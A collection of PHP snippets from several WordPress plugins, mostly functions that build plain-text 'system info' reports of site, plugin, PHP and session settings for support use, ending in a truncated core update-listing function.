/** * Get system info * * @since 2.0 * @access public * @global object $wpdb Used to query the database using the WordPress Database API * @return string $return A string containing the info to output */ public static function get_system_info() { global $wpdb; // Get theme info $theme_data = wp_get_theme(); $theme = $theme_data->Name . ' ' . $theme_data->Version; // Try to identify the hosting provider $host = self::get_host(); $return = '### Begin System Info ###' . "\n\n"; // Start with the basics... $return .= '-- Site Info' . "\n\n"; $return .= 'Site URL: ' . site_url() . "\n"; $return .= 'Home URL: ' . home_url() . "\n"; $return .= 'Multisite: ' . (is_multisite() ? 'Yes' : 'No') . "\n"; // Can we determine the site's host? if ($host) { $return .= "\n" . '-- Hosting Provider' . "\n\n"; $return .= 'Host: ' . $host . "\n"; } // WordPress configuration $return .= "\n" . '-- WordPress Configuration' . "\n\n"; $return .= 'Version: ' . get_bloginfo('version') . "\n"; $return .= 'Language: ' . (defined('WPLANG') && WPLANG ? WPLANG : 'en_US') . "\n"; $return .= 'Permalink Structure: ' . (get_option('permalink_structure') ? get_option('permalink_structure') : 'Default') . "\n"; $return .= 'Active Theme: ' . $theme . "\n"; $return .= 'Show On Front: ' . get_option('show_on_front') . "\n"; // Only show page specs if frontpage is set to 'page' if (get_option('show_on_front') == 'page') { $front_page_id = get_option('page_on_front'); $blog_page_id = get_option('page_for_posts'); $return .= 'Page On Front: ' . ($front_page_id != 0 ? get_the_title($front_page_id) . ' (#' . $front_page_id . ')' : 'Unset') . "\n"; $return .= 'Page For Posts: ' . ($blog_page_id != 0 ? get_the_title($blog_page_id) . ' (#' . $blog_page_id . ')' : 'Unset') . "\n"; } $return .= 'ABSPATH: ' . ABSPATH . "\n"; // Make sure wp_remote_post() is working $request['cmd'] = '_notify-validate'; $params = array('sslverify' => false, 'timeout' => 60, 'user-agent' => 'SS_System_Info/', 'body' => $request); $response = wp_remote_post('https://www.paypal.com/cgi-bin/webscr', $params); if (!is_wp_error($response) && $response['response']['code'] >= 200 && $response['response']['code'] < 300) { $WP_REMOTE_POST = 'wp_remote_post() works'; } else { $WP_REMOTE_POST = 'wp_remote_post() does not work'; } $return .= 'Remote Post: ' . $WP_REMOTE_POST . "\n"; $return .= 'Table Prefix: ' . 'Length: ' . strlen($wpdb->prefix) . ' Status: ' . (strlen($wpdb->prefix) > 16 ? 'ERROR: Too long' : 'Acceptable') . "\n"; $return .= 'WP_DEBUG: ' . (defined('WP_DEBUG') ? WP_DEBUG ? 'Enabled' : 'Disabled' : 'Not set') . "\n"; $return .= 'Memory Limit: ' . WP_MEMORY_LIMIT . "\n"; $return .= 'Registered Post Stati: ' . implode(', ', get_post_stati()) . "\n"; // Get plugins that have an update $updates = get_plugin_updates(); // Must-use plugins // NOTE: MU plugins can't show updates! $muplugins = get_mu_plugins(); if (count($muplugins) > 0) { $return .= "\n" . '-- Must-Use Plugins' . "\n\n"; foreach ($muplugins as $plugin => $plugin_data) { $return .= $plugin_data['Name'] . ': ' . $plugin_data['Version'] . "\n"; } $return = apply_filters('edd_sysinfo_after_wordpress_mu_plugins', $return); } // WordPress active plugins $return .= "\n" . '-- WordPress Active Plugins' . "\n\n"; $plugins = get_plugins(); $active_plugins = get_option('active_plugins', array()); foreach ($plugins as $plugin_path => $plugin) { if (!in_array($plugin_path, $active_plugins)) { continue; } $update = array_key_exists($plugin_path, $updates) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : ''; $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n"; } // WordPress inactive plugins $return .= "\n" . '-- WordPress Inactive Plugins' . "\n\n"; foreach ($plugins as $plugin_path => $plugin) { if (in_array($plugin_path, $active_plugins)) { continue; } $update = array_key_exists($plugin_path, $updates) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : ''; $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n"; } if (is_multisite()) { // WordPress Multisite active plugins $return .= "\n" . '-- Network Active Plugins' . "\n\n"; $plugins = wp_get_active_network_plugins(); $active_plugins = get_site_option('active_sitewide_plugins', array()); foreach ($plugins as $plugin_path) { $plugin_base = plugin_basename($plugin_path); if (!array_key_exists($plugin_base, $active_plugins)) { continue; } $update = array_key_exists($plugin_path, $updates) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : ''; $plugin = get_plugin_data($plugin_path); $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n"; } } // Server configuration (really just versioning) $return .= "\n" . '-- Webserver Configuration' . "\n\n"; $return .= 'PHP Version: ' . PHP_VERSION . "\n"; $return .= 'MySQL Version: ' . $wpdb->db_version() . "\n"; $return .= 'Webserver Info: ' . $_SERVER['SERVER_SOFTWARE'] . "\n"; // PHP configs... now we're getting to the important stuff $return .= "\n" . '-- PHP Configuration' . "\n\n"; $return .= 'Safe Mode: ' . (ini_get('safe_mode') ? 'Enabled' : 'Disabled' . "\n"); $return .= 'Memory Limit: ' . ini_get('memory_limit') . "\n"; $return .= 'Upload Max Size: ' . ini_get('upload_max_filesize') . "\n"; $return .= 'Post Max Size: ' . ini_get('post_max_size') . "\n"; $return .= 'Upload Max Filesize: ' . ini_get('upload_max_filesize') . "\n"; $return .= 'Time Limit: ' . ini_get('max_execution_time') . "\n"; $return .= 'Max Input Vars: ' . ini_get('max_input_vars') . "\n"; $return .= 'Display Errors: ' . (ini_get('display_errors') ? 'On (' . ini_get('display_errors') . ')' : 'N/A') . "\n"; $return .= 'PHP Arg Separator: ' . ini_get('arg_separator.output') . "\n"; // PHP extensions and such $return .= "\n" . '-- PHP Extensions' . "\n\n"; $return .= 'cURL: ' . (function_exists('curl_init') ? 'Supported' : 'Not Supported') . "\n"; $return .= 'fsockopen: ' . (function_exists('fsockopen') ? 'Supported' : 'Not Supported') . "\n"; $return .= 'SOAP Client: ' . (class_exists('SoapClient') ? 'Installed' : 'Not Installed') . "\n"; $return .= 'Suhosin: ' . (extension_loaded('suhosin') ? 'Installed' : 'Not Installed') . "\n"; $return = apply_filters('edd_sysinfo_after_php_ext', $return); // Session stuff $return .= "\n" . '-- Session Configuration' . "\n\n"; $return .= 'Session: ' . (isset($_SESSION) ? 'Enabled' : 'Disabled') . "\n"; // The rest of this is only relevant is session is enabled if (isset($_SESSION)) { $return .= 'Session Name: ' . esc_html(ini_get('session.name')) . "\n"; $return .= 'Cookie Path: ' . esc_html(ini_get('session.cookie_path')) . "\n"; $return .= 'Save Path: ' . esc_html(ini_get('session.save_path')) . "\n"; $return .= 'Use Cookies: ' . (ini_get('session.use_cookies') ? 'On' : 'Off') . "\n"; $return .= 'Use Only Cookies: ' . (ini_get('session.use_only_cookies') ? 'On' : 'Off') . "\n"; } $return .= "\n" . '### End System Info ###'; return $return; }
/** * Get system info * * @since 2.0 * @access public * @global object $wpdb Used to query the database using the WordPress Database API * @return string $return A string containing the info to output */ function edd_tools_sysinfo_get() { global $wpdb; if (!class_exists('Browser')) { require_once EDD_PLUGIN_DIR . 'includes/libraries/browser.php'; } $browser = new Browser(); // Get theme info $theme_data = wp_get_theme(); $theme = $theme_data->Name . ' ' . $theme_data->Version; // Try to identify the hosting provider $host = edd_get_host(); $return = '### Begin System Info ###' . "\n\n"; // Start with the basics... $return .= '-- Site Info' . "\n\n"; $return .= 'Site URL: ' . site_url() . "\n"; $return .= 'Home URL: ' . home_url() . "\n"; $return .= 'Multisite: ' . (is_multisite() ? 'Yes' : 'No') . "\n"; $return = apply_filters('edd_sysinfo_after_site_info', $return); // Can we determine the site's host? if ($host) { $return .= "\n" . '-- Hosting Provider' . "\n\n"; $return .= 'Host: ' . $host . "\n"; $return = apply_filters('edd_sysinfo_after_host_info', $return); } // The local users' browser information, handled by the Browser class $return .= "\n" . '-- User Browser' . "\n\n"; $return .= $browser; $return = apply_filters('edd_sysinfo_after_user_browser', $return); // WordPress configuration $return .= "\n" . '-- WordPress Configuration' . "\n\n"; $return .= 'Version: ' . get_bloginfo('version') . "\n"; $return .= 'Language: ' . (defined('WPLANG') && WPLANG ? WPLANG : 'en_US') . "\n"; $return .= 'Permalink Structure: ' . (get_option('permalink_structure') ? get_option('permalink_structure') : 'Default') . "\n"; $return .= 'Active Theme: ' . $theme . "\n"; $return .= 'Show On Front: ' . get_option('show_on_front') . "\n"; // Only show page specs if frontpage is set to 'page' if (get_option('show_on_front') == 'page') { $front_page_id = get_option('page_on_front'); $blog_page_id = get_option('page_for_posts'); $return .= 'Page On Front: ' . ($front_page_id != 0 ? get_the_title($front_page_id) . ' (#' . $front_page_id . ')' : 'Unset') . "\n"; $return .= 'Page For Posts: ' . ($blog_page_id != 0 ? get_the_title($blog_page_id) . ' (#' . $blog_page_id . ')' : 'Unset') . "\n"; } $return .= 'ABSPATH: ' . ABSPATH . "\n"; // Make sure wp_remote_post() is working $request['cmd'] = '_notify-validate'; $params = array('sslverify' => false, 'timeout' => 60, 'user-agent' => 'EDD/' . EDD_VERSION, 'body' => $request); $response = wp_remote_post('https://www.paypal.com/cgi-bin/webscr', $params); if (!is_wp_error($response) && $response['response']['code'] >= 200 && $response['response']['code'] < 300) { $WP_REMOTE_POST = 'wp_remote_post() works'; } else { $WP_REMOTE_POST = 'wp_remote_post() does not work'; } $return .= 'Remote Post: ' . $WP_REMOTE_POST . "\n"; $return .= 'Table Prefix: ' . 'Length: ' . strlen($wpdb->prefix) . ' Status: ' . (strlen($wpdb->prefix) > 16 ? 'ERROR: Too long' : 'Acceptable') . "\n"; // Commented out per https://github.com/easydigitaldownloads/Easy-Digital-Downloads/issues/3475 //$return .= 'Admin AJAX: ' . ( edd_test_ajax_works() ? 'Accessible' : 'Inaccessible' ) . "\n"; $return .= 'WP_DEBUG: ' . (defined('WP_DEBUG') ? WP_DEBUG ? 'Enabled' : 'Disabled' : 'Not set') . "\n"; $return .= 'Memory Limit: ' . WP_MEMORY_LIMIT . "\n"; $return .= 'Registered Post Stati: ' . implode(', ', get_post_stati()) . "\n"; $return = apply_filters('edd_sysinfo_after_wordpress_config', $return); // EDD configuration $return .= "\n" . '-- EDD Configuration' . "\n\n"; $return .= 'Version: ' . EDD_VERSION . "\n"; $return .= 'Upgraded From: ' . get_option('edd_version_upgraded_from', 'None') . "\n"; $return .= 'Test Mode: ' . (edd_is_test_mode() ? "Enabled\n" : "Disabled\n"); $return .= 'Ajax: ' . (!edd_is_ajax_disabled() ? "Enabled\n" : "Disabled\n"); $return .= 'Guest Checkout: ' . (edd_no_guest_checkout() ? "Disabled\n" : "Enabled\n"); $return .= 'Symlinks: ' . (apply_filters('edd_symlink_file_downloads', edd_get_option('symlink_file_downloads', false)) && function_exists('symlink') ? "Enabled\n" : "Disabled\n"); $return .= 'Download Method: ' . ucfirst(edd_get_file_download_method()) . "\n"; $return .= 'Currency Code: ' . edd_get_currency() . "\n"; $return .= 'Currency Position: ' . edd_get_option('currency_position', 'before') . "\n"; $return .= 'Decimal Separator: ' . edd_get_option('decimal_separator', '.') . "\n"; $return .= 'Thousands Separator: ' . edd_get_option('thousands_separator', ',') . "\n"; $return .= 'Upgrades Completed: ' . implode(',', edd_get_completed_upgrades()) . "\n"; $return = apply_filters('edd_sysinfo_after_edd_config', $return); // EDD pages $purchase_page = edd_get_option('purchase_page', ''); $success_page = edd_get_option('success_page', ''); $failure_page = edd_get_option('failure_page', ''); $return .= "\n" . '-- EDD Page Configuration' . "\n\n"; $return .= 'Checkout: ' . (!empty($purchase_page) ? "Valid\n" : "Invalid\n"); $return .= 'Checkout Page: ' . (!empty($purchase_page) ? get_permalink($purchase_page) . "\n" : "Unset\n"); $return .= 'Success Page: ' . (!empty($success_page) ? get_permalink($success_page) . "\n" : "Unset\n"); $return .= 'Failure Page: ' . (!empty($failure_page) ? get_permalink($failure_page) . "\n" : "Unset\n"); $return .= 'Downloads Slug: ' . (defined('EDD_SLUG') ? '/' . EDD_SLUG . "\n" : "/downloads\n"); $return = apply_filters('edd_sysinfo_after_edd_pages', $return); // EDD gateways $return .= "\n" . '-- EDD Gateway Configuration' . "\n\n"; $active_gateways = edd_get_enabled_payment_gateways(); if ($active_gateways) { $default_gateway_is_active = edd_is_gateway_active(edd_get_default_gateway()); if ($default_gateway_is_active) { $default_gateway = edd_get_default_gateway(); $default_gateway = $active_gateways[$default_gateway]['admin_label']; } else { $default_gateway = 'Test Payment'; } $gateways = array(); foreach ($active_gateways as $gateway) { $gateways[] = $gateway['admin_label']; } $return .= 'Enabled Gateways: ' . implode(', ', $gateways) . "\n"; $return .= 'Default Gateway: ' . $default_gateway . "\n"; } else { $return .= 'Enabled Gateways: None' . "\n"; } $return = apply_filters('edd_sysinfo_after_edd_gateways', $return); // EDD Taxes $return .= "\n" . '-- EDD Tax Configuration' . "\n\n"; $return .= 'Taxes: ' . (edd_use_taxes() ? "Enabled\n" : "Disabled\n"); $return .= 'Tax Rate: ' . edd_get_tax_rate() * 100 . "\n"; $return .= 'Display On Checkout: ' . (edd_get_option('checkout_include_tax', false) ? "Displayed\n" : "Not Displayed\n"); $return .= 'Prices Include Tax: ' . (edd_prices_include_tax() ? "Yes\n" : "No\n"); $rates = edd_get_tax_rates(); if (!empty($rates)) { $return .= 'Country / State Rates: ' . "\n"; foreach ($rates as $rate) { $return .= ' Country: ' . $rate['country'] . ', State: ' . $rate['state'] . ', Rate: ' . $rate['rate'] . "\n"; } } $return = apply_filters('edd_sysinfo_after_edd_taxes', $return); // EDD Templates $dir = get_stylesheet_directory() . '/edd_templates/*'; if (is_dir($dir) && count(glob("{$dir}/*")) !== 0) { $return .= "\n" . '-- EDD Template Overrides' . "\n\n"; foreach (glob($dir) as $file) { $return .= 'Filename: ' . basename($file) . "\n"; } $return = apply_filters('edd_sysinfo_after_edd_templates', $return); } // Get plugins that have an update $updates = get_plugin_updates(); // Must-use plugins // NOTE: MU plugins can't show updates! $muplugins = get_mu_plugins(); if (count($muplugins > 0)) { $return .= "\n" . '-- Must-Use Plugins' . "\n\n"; foreach ($muplugins as $plugin => $plugin_data) { $return .= $plugin_data['Name'] . ': ' . $plugin_data['Version'] . "\n"; } $return = apply_filters('edd_sysinfo_after_wordpress_mu_plugins', $return); } // WordPress active plugins $return .= "\n" . '-- WordPress Active Plugins' . "\n\n"; $plugins = get_plugins(); $active_plugins = get_option('active_plugins', array()); foreach ($plugins as $plugin_path => $plugin) { if (!in_array($plugin_path, $active_plugins)) { continue; } $update = array_key_exists($plugin_path, $updates) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : ''; $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n"; } $return = apply_filters('edd_sysinfo_after_wordpress_plugins', $return); // WordPress inactive plugins $return .= "\n" . '-- WordPress Inactive Plugins' . "\n\n"; foreach ($plugins as $plugin_path => $plugin) { if (in_array($plugin_path, $active_plugins)) { continue; } $update = array_key_exists($plugin_path, $updates) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : ''; $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n"; } $return = apply_filters('edd_sysinfo_after_wordpress_plugins_inactive', $return); if (is_multisite()) { // WordPress Multisite active plugins $return .= "\n" . '-- Network Active Plugins' . "\n\n"; $plugins = wp_get_active_network_plugins(); $active_plugins = get_site_option('active_sitewide_plugins', array()); foreach ($plugins as $plugin_path) { $plugin_base = plugin_basename($plugin_path); if (!array_key_exists($plugin_base, $active_plugins)) { continue; } $update = array_key_exists($plugin_path, $updates) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : ''; $plugin = get_plugin_data($plugin_path); $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n"; } $return = apply_filters('edd_sysinfo_after_wordpress_ms_plugins', $return); } // Server configuration (really just versioning) $return .= "\n" . '-- Webserver Configuration' . "\n\n"; $return .= 'PHP Version: ' . PHP_VERSION . "\n"; $return .= 'MySQL Version: ' . $wpdb->db_version() . "\n"; $return .= 'Webserver Info: ' . $_SERVER['SERVER_SOFTWARE'] . "\n"; $return = apply_filters('edd_sysinfo_after_webserver_config', $return); // PHP configs... now we're getting to the important stuff $return .= "\n" . '-- PHP Configuration' . "\n\n"; $return .= 'Safe Mode: ' . (ini_get('safe_mode') ? 'Enabled' : 'Disabled' . "\n"); $return .= 'Memory Limit: ' . ini_get('memory_limit') . "\n"; $return .= 'Upload Max Size: ' . ini_get('upload_max_filesize') . "\n"; $return .= 'Post Max Size: ' . ini_get('post_max_size') . "\n"; $return .= 'Upload Max Filesize: ' . ini_get('upload_max_filesize') . "\n"; $return .= 'Time Limit: ' . ini_get('max_execution_time') . "\n"; $return .= 'Max Input Vars: ' . ini_get('max_input_vars') . "\n"; $return .= 'Display Errors: ' . (ini_get('display_errors') ? 'On (' . ini_get('display_errors') . ')' : 'N/A') . "\n"; $return = apply_filters('edd_sysinfo_after_php_config', $return); // PHP extensions and such $return .= "\n" . '-- PHP Extensions' . "\n\n"; $return .= 'cURL: ' . (function_exists('curl_init') ? 'Supported' : 'Not Supported') . "\n"; $return .= 'fsockopen: ' . (function_exists('fsockopen') ? 'Supported' : 'Not Supported') . "\n"; $return .= 'SOAP Client: ' . (class_exists('SoapClient') ? 'Installed' : 'Not Installed') . "\n"; $return .= 'Suhosin: ' . (extension_loaded('suhosin') ? 'Installed' : 'Not Installed') . "\n"; $return = apply_filters('edd_sysinfo_after_php_ext', $return); // Session stuff $return .= "\n" . '-- Session Configuration' . "\n\n"; $return .= 'EDD Use Sessions: ' . (defined('EDD_USE_PHP_SESSIONS') && EDD_USE_PHP_SESSIONS ? 'Enforced' : (EDD()->session->use_php_sessions() ? 'Enabled' : 'Disabled')) . "\n"; $return .= 'Session: ' . (isset($_SESSION) ? 'Enabled' : 'Disabled') . "\n"; // The rest of this is only relevant is session is enabled if (isset($_SESSION)) { $return .= 'Session Name: ' . esc_html(ini_get('session.name')) . "\n"; $return .= 'Cookie Path: ' . esc_html(ini_get('session.cookie_path')) . "\n"; $return .= 'Save Path: ' . esc_html(ini_get('session.save_path')) . "\n"; $return .= 'Use Cookies: ' . (ini_get('session.use_cookies') ? 'On' : 'Off') . "\n"; $return .= 'Use Only Cookies: ' . (ini_get('session.use_only_cookies') ? 'On' : 'Off') . "\n"; } $return = apply_filters('edd_sysinfo_after_session_config', $return); $return .= "\n" . '### End System Info ###'; return $return; }
/** * Updates * * @return int */ protected function updates() { if (!function_exists('get_plugin_updates')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/update.php'; } return count(get_plugin_updates()); }
/** * Displays the system info report * * @since 2.5 * @return string $return The compiled system info report. */ function rcp_tools_system_info_report() { global $rcp_options, $wpdb; // Get theme info $theme_data = wp_get_theme(); $theme = $theme_data->Name . ' ' . $theme_data->Version; $return = '### Begin System Info ###' . "\n\n"; // Start with the basics... $return .= '-- Site Info' . "\n\n"; $return .= 'Site URL: ' . site_url() . "\n"; $return .= 'Home URL: ' . home_url() . "\n"; $return .= 'Multisite: ' . (is_multisite() ? 'Yes' : 'No') . "\n"; // WordPress configuration $return .= "\n" . '-- WordPress Configuration' . "\n\n"; $return .= 'Version: ' . get_bloginfo('version') . "\n"; $return .= 'Language: ' . (defined('WPLANG') && WPLANG ? WPLANG : 'en_US') . "\n"; $return .= 'Permalink Structure: ' . (get_option('permalink_structure') ? get_option('permalink_structure') : 'Default') . "\n"; $return .= 'Active Theme: ' . $theme . "\n"; $return .= 'Show On Front: ' . get_option('show_on_front') . "\n"; // Only show page specs if frontpage is set to 'page' if (get_option('show_on_front') === 'page') { $front_page_id = get_option('page_on_front'); $blog_page_id = get_option('page_for_posts'); $return .= 'Page On Front: ' . ($front_page_id != 0 ? get_the_title($front_page_id) . ' (#' . $front_page_id . ')' : 'Unset') . "\n"; $return .= 'Page For Posts: ' . ($blog_page_id != 0 ? get_the_title($blog_page_id) . ' (#' . $blog_page_id . ')' : 'Unset') . "\n"; } $return .= 'ABSPATH: ' . ABSPATH . "\n"; $return .= 'Table Prefix: ' . 'Length: ' . strlen($wpdb->prefix) . ' Status: ' . (strlen($wpdb->prefix) > 16 ? 'ERROR: Too long' : 'Acceptable') . "\n"; $return .= 'WP_DEBUG: ' . (defined('WP_DEBUG') ? WP_DEBUG ? 'Enabled' : 'Disabled' : 'Not set') . "\n"; $return .= 'Memory Limit: ' . WP_MEMORY_LIMIT . "\n"; $return .= 'Registered Post Stati: ' . implode(', ', get_post_stati()) . "\n"; // RCP Config $auto_renew_options = array(1 => 'Always auto renew', 2 => 'Never auto renew', 3 => 'Let customer choose whether to auto renew'); $return .= "\n" . '-- RCP Configuration' . "\n\n"; $return .= 'Version: ' . RCP_PLUGIN_VERSION . "\n"; $return .= 'License Key: ' . (!empty($rcp_options['license_key']) ? $rcp_options['license_key'] . "\n" : "Not set\n"); $return .= 'Auto Renew: ' . (!empty($rcp_options['auto_renew']) && array_key_exists($rcp_options['auto_renew'], $auto_renew_options) ? $auto_renew_options[$rcp_options['auto_renew']] . "\n" : "Invalid Configuration\n"); $return .= 'Currency: ' . (!empty($rcp_options['currency']) ? $rcp_options['currency'] . "\n" : "Invalid Configuration\n"); $return .= 'Currency Position: ' . (!empty($rcp_options['currency_position']) ? $rcp_options['currency_position'] . "\n" : "Invalid Configuration\n"); $return .= 'Sandbox Mode: ' . (rcp_is_sandbox() ? "True" . "\n" : "False\n"); // RCP pages $return .= "\n" . '-- RCP Page Configuration' . "\n\n"; $return .= 'Registration Page: ' . (!empty($rcp_options['registration_page']) ? get_permalink($rcp_options['registration_page']) . "\n" : "Unset\n"); $return .= 'Success Page: ' . (!empty($rcp_options['redirect']) ? get_permalink($rcp_options['redirect']) . "\n" : "Unset\n"); $return .= 'Account Page: ' . (!empty($rcp_options['account_page']) ? get_permalink($rcp_options['account_page']) . "\n" : "Unset\n"); $return .= 'Edit Profile Page: ' . (!empty($rcp_options['edit_profile']) ? get_permalink($rcp_options['edit_profile']) . "\n" : "Unset\n"); $return .= 'Update Billing Card Page: ' . (!empty($rcp_options['update_card']) ? get_permalink($rcp_options['update_card']) . "\n" : "Unset\n"); // RCP gateways $return .= "\n" . '-- RCP Gateway Configuration' . "\n\n"; $active_gateways = rcp_get_enabled_payment_gateways(); if ($active_gateways) { $gateways = array(); foreach ($active_gateways as $key => $label) { $gateways[] = $label . ' (' . $key . ')'; } $return .= 'Enabled Gateways: ' . implode(', ', $gateways) . "\n"; } else { $return .= 'Enabled Gateways: None' . "\n"; } // RCP Misc Settings $return .= "\n" . '-- RCP Misc Settings' . "\n\n"; $return .= 'Hide Premium Posts: ' . (!empty($rcp_options['hide_premium']) ? "True\n" : "False\n"); $return .= 'Redirect Page: ' . (!empty($rcp_options['redirect_from_premium']) ? get_permalink($rcp_options['redirect_from_premium']) . "\n" : "Unset\n"); $return .= 'Redirect Default Login URL ' . (!empty($rcp_options['hijack_login_url']) ? "True\n" : "False\n"); $return .= 'Login Page: ' . (!empty($rcp_options['login_redirect']) ? get_permalink($rcp_options['login_redirect']) . "\n" : "Unset\n"); $return .= 'Prevent Account Sharing: ' . (!empty($rcp_options['no_login_sharing']) ? "True\n" : "False\n"); $return .= 'Email IPN Reports: ' . (!empty($rcp_options['email_ipn_reports']) ? "True\n" : "False\n"); $return .= 'Disable Form CSS: ' . (!empty($rcp_options['disable_css']) ? "True\n" : "False\n"); $return .= 'Enable reCaptcha: ' . (!empty($rcp_options['enable_recaptcha']) ? "True\n" : "False\n"); $return .= 'reCaptcha Site Key: ' . (!empty($rcp_options['recaptcha_public_key']) ? "Set\n" : "Unset\n"); $return .= 'reCaptcha Secret Key: ' . (!empty($rcp_options['recaptcha_private_key']) ? "Set\n" : "Unset\n"); // RCP Templates $dir = get_stylesheet_directory() . '/rcp/'; if (is_dir($dir) && count(glob("{$dir}/*")) !== 0) { $return .= "\n" . '-- RCP Template Overrides' . "\n\n"; foreach (glob($dir . '/*') as $file) { $return .= 'Filename: ' . basename($file) . "\n"; } } // Get plugins that have an update $updates = get_plugin_updates(); // Must-use plugins // NOTE: MU plugins can't show updates! $muplugins = get_mu_plugins(); if (count($muplugins > 0)) { $return .= "\n" . '-- Must-Use Plugins' . "\n\n"; foreach ($muplugins as $plugin => $plugin_data) { $return .= $plugin_data['Name'] . ': ' . $plugin_data['Version'] . "\n"; } } // WordPress active plugins $return .= "\n" . '-- WordPress Active Plugins' . "\n\n"; $plugins = get_plugins(); $active_plugins = get_option('active_plugins', array()); foreach ($plugins as $plugin_path => $plugin) { if (!in_array($plugin_path, $active_plugins)) { continue; } $update = array_key_exists($plugin_path, $updates) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : ''; $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n"; } // WordPress inactive plugins $return .= "\n" . '-- WordPress Inactive Plugins' . "\n\n"; foreach ($plugins as $plugin_path => $plugin) { if (in_array($plugin_path, $active_plugins)) { continue; } $update = array_key_exists($plugin_path, $updates) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : ''; $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n"; } if (is_multisite()) { // WordPress Multisite active plugins $return .= "\n" . '-- Network Active Plugins' . "\n\n"; $plugins = wp_get_active_network_plugins(); $active_plugins = get_site_option('active_sitewide_plugins', array()); foreach ($plugins as $plugin_path) { $plugin_base = plugin_basename($plugin_path); if (!array_key_exists($plugin_base, $active_plugins)) { continue; } $update = array_key_exists($plugin_path, $updates) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : ''; $plugin = get_plugin_data($plugin_path); $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n"; } } // Server configuration (really just versioning) $return .= "\n" . '-- Webserver Configuration' . "\n\n"; $return .= 'PHP Version: ' . PHP_VERSION . "\n"; $return .= 'MySQL Version: ' . $wpdb->db_version() . "\n"; $return .= 'Webserver Info: ' . $_SERVER['SERVER_SOFTWARE'] . "\n"; // PHP configuration $return .= "\n" . '-- PHP Configuration' . "\n\n"; $return .= 'Safe Mode: ' . (ini_get('safe_mode') ? 'Enabled' : 'Disabled' . "\n"); $return .= 'Memory Limit: ' . ini_get('memory_limit') . "\n"; $return .= 'Upload Max Size: ' . ini_get('upload_max_filesize') . "\n"; $return .= 'Post Max Size: ' . ini_get('post_max_size') . "\n"; $return .= 'Upload Max Filesize: ' . ini_get('upload_max_filesize') . "\n"; $return .= 'Time Limit: ' . ini_get('max_execution_time') . "\n"; $return .= 'Max Input Vars: ' . ini_get('max_input_vars') . "\n"; $return .= 'Display Errors: ' . (ini_get('display_errors') ? 'On (' . ini_get('display_errors') . ')' : 'N/A') . "\n"; // PHP extensions and such $return .= "\n" . '-- PHP Extensions' . "\n\n"; $return .= 'cURL: ' . (function_exists('curl_init') ? 'Supported' : 'Not Supported') . "\n"; $return .= 'fsockopen: ' . (function_exists('fsockopen') ? 'Supported' : 'Not Supported') . "\n"; $return .= 'SOAP Client: ' . (class_exists('SoapClient') ? 'Installed' : 'Not Installed') . "\n"; $return .= 'Suhosin: ' . (extension_loaded('suhosin') ? 'Installed' : 'Not Installed') . "\n"; $return .= "\n" . '### End System Info ###'; return $return; }
?> Template Path Exists: <?php echo cnFormatting::toYesNo(is_dir(CN_CUSTOM_TEMPLATE_PATH)) . PHP_EOL; ?> Template Path Writeable: <?php echo cnFormatting::toYesNo(is_writeable(CN_CUSTOM_TEMPLATE_PATH)) . PHP_EOL; ?> Cache Path Exists: <?php echo cnFormatting::toYesNo(is_dir(CN_CACHE_PATH)) . PHP_EOL; ?> Cache Path Writeable: <?php echo cnFormatting::toYesNo(is_writeable(CN_CACHE_PATH)) . PHP_EOL; // Get plugins that have an update $updates = get_plugin_updates(); // Must-use plugins $muplugins = get_mu_plugins(); if (0 < count($muplugins)) { ?> -- Must-Use Plugins <?php foreach ($muplugins as $plugin => $plugin_data) { echo $plugin_data['Name'] . ': ' . $plugin_data['Version'] . PHP_EOL; } do_action('cn_sysinfo_after_wordpress_mu_plugins'); } ?> -- WordPress Active Plugins
function list_plugin_updates() { global $wp_version; $cur_wp_version = preg_replace('/-.*$/', '', $wp_version); require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $plugins = get_plugin_updates(); if (empty($plugins)) { return; } $form_action = 'update-core.php?action=do-plugin-upgrade'; $core_updates = get_core_updates(); if (!isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare($core_updates[0]->current, $cur_wp_version, '=')) { $core_update_version = false; } else { $core_update_version = $core_updates[0]->current; } ?> <h3><?php 